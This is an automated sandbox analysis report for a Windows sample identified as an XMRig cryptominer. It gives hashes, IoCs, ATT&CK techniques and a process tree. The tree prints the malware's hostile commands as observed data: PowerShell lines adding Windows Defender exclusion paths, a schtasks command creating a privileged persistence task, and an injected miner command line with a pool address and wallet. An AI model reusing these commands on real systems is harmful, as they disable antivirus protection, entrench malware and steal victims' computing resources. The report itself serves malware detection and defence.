xmrig | a442539eed2250ee582e317bf5e9180fcf87b07c9fe15d7c1cc27276175fd148

Analysis

max time kernel
170s
max time network
176s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
01/12/2022, 09:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 1.4MB
Sample221201-lw9stabd41
SHA256 a442539eed2250ee582e317bf5e9180fcf87b07c9fe15d7c1cc27276175fd148
MD5 51f0cc2275660711024baa9dc8e2808d
SHA1 a871073c99201c8d5530e85abc87f03a502d241d
SHA512 5a911321c3ef7ee5aaca5f78603638c4532ba7d21b34c2d212a6ce677c63c83abd8526c8e85b714f15bd24aec9a807b1b02a18064aada4d2b72529fbfdd4b92b
SSDEEP 24576:/S9mE7v4bcAjUha0rtSbm3IFEFA3uZ2PbM+fvvIFR7NyGPCBzO:/S9mE7vGcAUhntum3IFE4PIy3IY5S
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/2880-196-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2880-197-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/2880-198-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2880-199-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2880-201-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2880-202-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
3388	PWOJ.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	PWOJ.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3388 set thread context of 2880	3388	PWOJ.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5020	3388	WerFault.exe	93

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4216	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2520	timeout.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2504	file.exe
2504	file.exe
2136	powershell.exe
3864	powershell.exe
2136	powershell.exe
3864	powershell.exe
3388	PWOJ.exe
3388	PWOJ.exe
2892	powershell.exe
1100	powershell.exe
2892	powershell.exe
1100	powershell.exe
3388	PWOJ.exe
3388	PWOJ.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
652	Process not Found

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2504	file.exe
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeDebugPrivilege	3388	PWOJ.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	1100	powershell.exe
Token: SeLockMemoryPrivilege	2880	vbc.exe
Token: SeLockMemoryPrivilege	2880	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2880	vbc.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 3864	2504	file.exe	86
PID 2504 wrote to memory of 3864	2504	file.exe	86
PID 2504 wrote to memory of 2136	2504	file.exe	88
PID 2504 wrote to memory of 2136	2504	file.exe	88
PID 2504 wrote to memory of 876	2504	file.exe	90
PID 2504 wrote to memory of 876	2504	file.exe	90
PID 876 wrote to memory of 2520	876	cmd.exe	92
PID 876 wrote to memory of 2520	876	cmd.exe	92
PID 876 wrote to memory of 3388	876	cmd.exe	93
PID 876 wrote to memory of 3388	876	cmd.exe	93
PID 3388 wrote to memory of 1100	3388	PWOJ.exe	94
PID 3388 wrote to memory of 1100	3388	PWOJ.exe	94
PID 3388 wrote to memory of 2892	3388	PWOJ.exe	96
PID 3388 wrote to memory of 2892	3388	PWOJ.exe	96
PID 3388 wrote to memory of 2416	3388	PWOJ.exe	98
PID 3388 wrote to memory of 2416	3388	PWOJ.exe	98
PID 2416 wrote to memory of 4216	2416	cmd.exe	100
PID 2416 wrote to memory of 4216	2416	cmd.exe	100
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102
PID 3388 wrote to memory of 2880	3388	PWOJ.exe	102

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp63BB.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:876
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2520
- - C:\ProgramData\netcore\PWOJ.exe
    "C:\ProgramData\netcore\PWOJ.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2892
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PWOJ" /tr "C:\ProgramData\netcore\PWOJ.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2416
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PWOJ" /tr "C:\ProgramData\netcore\PWOJ.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:4216
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:2880
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3388 -s 3544
      4⤵
      Program crash
      PID:5020

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 3388 -ip 3388
1⤵
PID:3444

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

PWOJ.exe

Path C:\ProgramData\netcore\PWOJ.exe
Size 1.4MB
SHA256 a442539eed2250ee582e317bf5e9180fcf87b07c9fe15d7c1cc27276175fd148
MD5 51f0cc2275660711024baa9dc8e2808d
SHA1 a871073c99201c8d5530e85abc87f03a502d241d
SHA512 5a911321c3ef7ee5aaca5f78603638c4532ba7d21b34c2d212a6ce677c63c83abd8526c8e85b714f15bd24aec9a807b1b02a18064aada4d2b72529fbfdd4b92b
SSDEEP 24576:/S9mE7v4bcAjUha0rtSbm3IFEFA3uZ2PbM+fvvIFR7NyGPCBzO:/S9mE7vGcAUhntum3IFE4PIy3IY5S
MD5 SHA1 SHA512 SSDEEP

Submit Download

PWOJ.exe

Path C:\ProgramData\netcore\PWOJ.exe
Size 1.4MB
SHA256 a442539eed2250ee582e317bf5e9180fcf87b07c9fe15d7c1cc27276175fd148
MD5 51f0cc2275660711024baa9dc8e2808d
SHA1 a871073c99201c8d5530e85abc87f03a502d241d
SHA512 5a911321c3ef7ee5aaca5f78603638c4532ba7d21b34c2d212a6ce677c63c83abd8526c8e85b714f15bd24aec9a807b1b02a18064aada4d2b72529fbfdd4b92b
SSDEEP 24576:/S9mE7v4bcAjUha0rtSbm3IFEFA3uZ2PbM+fvvIFR7NyGPCBzO:/S9mE7vGcAUhntum3IFE4PIy3IY5S
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
MD5 440cb38dbee06645cc8b74d51f6e5f71
SHA1 d7e61da91dc4502e9ae83281b88c1e48584edb7c
SHA512 3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 b9a54681629afb18cfa0191d9bb1f1504eaaabc943eb52b5f915877ca1453290
MD5 61d03a115a47da1555cb383a366125dc
SHA1 398069c60742f5eb0b4094ee096d60287c7b6efe
SHA512 8e5d6aaf4360372fb832f5952b20e3a27b1618a2c229a984832af9123304e4315fc49c34aa94df387278e6087411a699d39d416ab66caa5932dcb5e6da77cc9d
MD5 SHA1 SHA512

Submit Download

tmp63BB.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp63BB.tmp.bat
Size 140B
SHA256 6b73a2a74aabd4af509f4ae50c154aef8e2e71fb4865ba3c86c8bd07e7971321
MD5 f55e0ba3542578a21d43e39088c9ef4e
SHA1 b5a64e62eccd8221b881ddb9bf4de38cd3f3153c
SHA512 afde8781c8143af77cb9fe328efdb64492473717f23120f0e3cca73f5a6fed0518346c5ec55499615b016148639eb53083eb4960f360fd09216f0cfa44a1faef
MD5 SHA1 SHA512

Submit Download

memory/1100-189-0x00007FFB24EE0000-0x00007FFB259A1000-memory.dmp

Download

memory/1100-180-0x00007FFB24EE0000-0x00007FFB259A1000-memory.dmp

Download

memory/1100-184-0x00007FFB24EE0000-0x00007FFB259A1000-memory.dmp

Download

memory/2136-159-0x00007FFB24E30000-0x00007FFB258F1000-memory.dmp

Download

memory/2136-152-0x000001DEE6BB0000-0x000001DEE6BD2000-memory.dmp

Download

memory/2136-156-0x00007FFB24E30000-0x00007FFB258F1000-memory.dmp

Download

memory/2504-150-0x0000000002AD0000-0x0000000002B13000-memory.dmp

Download

memory/2504-133-0x00007FFB25900000-0x00007FFB259AA000-memory.dmp

Download

memory/2504-134-0x00000000007A0000-0x0000000000972000-memory.dmp

Download

memory/2504-140-0x00007FFB423F0000-0x00007FFB42591000-memory.dmp

Download

memory/2504-138-0x00007FFB3F6F0000-0x00007FFB3F702000-memory.dmp

Download

memory/2504-149-0x00000000007A0000-0x0000000000972000-memory.dmp

Download

memory/2504-137-0x00007FFB42350000-0x00007FFB423EE000-memory.dmp

Download

memory/2504-145-0x00007FFB24E30000-0x00007FFB258F1000-memory.dmp

Download

memory/2504-144-0x00007FFB25D90000-0x00007FFB25EDE000-memory.dmp

Download

memory/2504-143-0x00000000007A0000-0x0000000000972000-memory.dmp

Download

memory/2504-139-0x00007FFB357B0000-0x00007FFB3586D000-memory.dmp

Download

memory/2504-142-0x00007FFB43B60000-0x00007FFB43B8B000-memory.dmp

Download

memory/2504-136-0x00000000007A0000-0x0000000000972000-memory.dmp

Download

memory/2504-141-0x00007FFB24E30000-0x00007FFB258F1000-memory.dmp

Download

memory/2504-151-0x00007FFB24E30000-0x00007FFB258F1000-memory.dmp

Download

memory/2504-135-0x0000000002AD0000-0x0000000002B13000-memory.dmp

Download

memory/2880-201-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/2880-196-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/2880-199-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/2880-200-0x000002514E460000-0x000002514E480000-memory.dmp

Download

memory/2880-198-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/2880-202-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/2880-204-0x000002514E5C0000-0x000002514E600000-memory.dmp

Download

memory/2892-187-0x00007FFB24EE0000-0x00007FFB259A1000-memory.dmp

Download

memory/2892-183-0x00007FFB24EE0000-0x00007FFB259A1000-memory.dmp

Download

memory/2892-179-0x00007FFB24EE0000-0x00007FFB259A1000-memory.dmp

Download

memory/3388-165-0x00007FFB25E30000-0x00007FFB25EDA000-memory.dmp

Download

memory/3388-193-0x00007FFB205B0000-0x00007FFB206B2000-memory.dmp

Download

memory/3388-182-0x00007FFB24EE0000-0x00007FFB259A1000-memory.dmp

Download

memory/3388-176-0x00007FFB24EE0000-0x00007FFB259A1000-memory.dmp

Download

memory/3388-172-0x0000000000CE0000-0x0000000000EB2000-memory.dmp

Download

memory/3388-175-0x00007FFB234E0000-0x00007FFB2362E000-memory.dmp

Download

memory/3388-174-0x0000000000C80000-0x0000000000CC3000-memory.dmp

Download

memory/3388-173-0x0000000000CE0000-0x0000000000EB2000-memory.dmp

Download

memory/3388-171-0x00007FFB43B60000-0x00007FFB43B8B000-memory.dmp

Download

memory/3388-170-0x00007FFB24EE0000-0x00007FFB259A1000-memory.dmp

Download

memory/3388-206-0x00007FFB24EE0000-0x00007FFB259A1000-memory.dmp

Download

memory/3388-191-0x00007FFB41F10000-0x00007FFB41F37000-memory.dmp

Download

memory/3388-192-0x00007FFB27C90000-0x00007FFB27CC5000-memory.dmp

Download

memory/3388-181-0x0000000000CE0000-0x0000000000EB2000-memory.dmp

Download

memory/3388-194-0x00007FFB432E0000-0x00007FFB4334B000-memory.dmp

Download

memory/3388-195-0x00007FFB40BA0000-0x00007FFB40BDB000-memory.dmp

Download

memory/3388-169-0x00007FFB423F0000-0x00007FFB42591000-memory.dmp

Download

memory/3388-168-0x00007FFB25D70000-0x00007FFB25E2D000-memory.dmp

Download

memory/3388-167-0x00007FFB3F6F0000-0x00007FFB3F702000-memory.dmp

Download

memory/3388-166-0x00007FFB42350000-0x00007FFB423EE000-memory.dmp

Download

memory/3388-205-0x0000000000CE0000-0x0000000000EB2000-memory.dmp

Download

memory/3388-203-0x00007FFB26DC0000-0x00007FFB26F2A000-memory.dmp

Download

memory/3864-153-0x00007FFB24E30000-0x00007FFB258F1000-memory.dmp

Download

memory/3864-160-0x00007FFB24E30000-0x00007FFB258F1000-memory.dmp

Download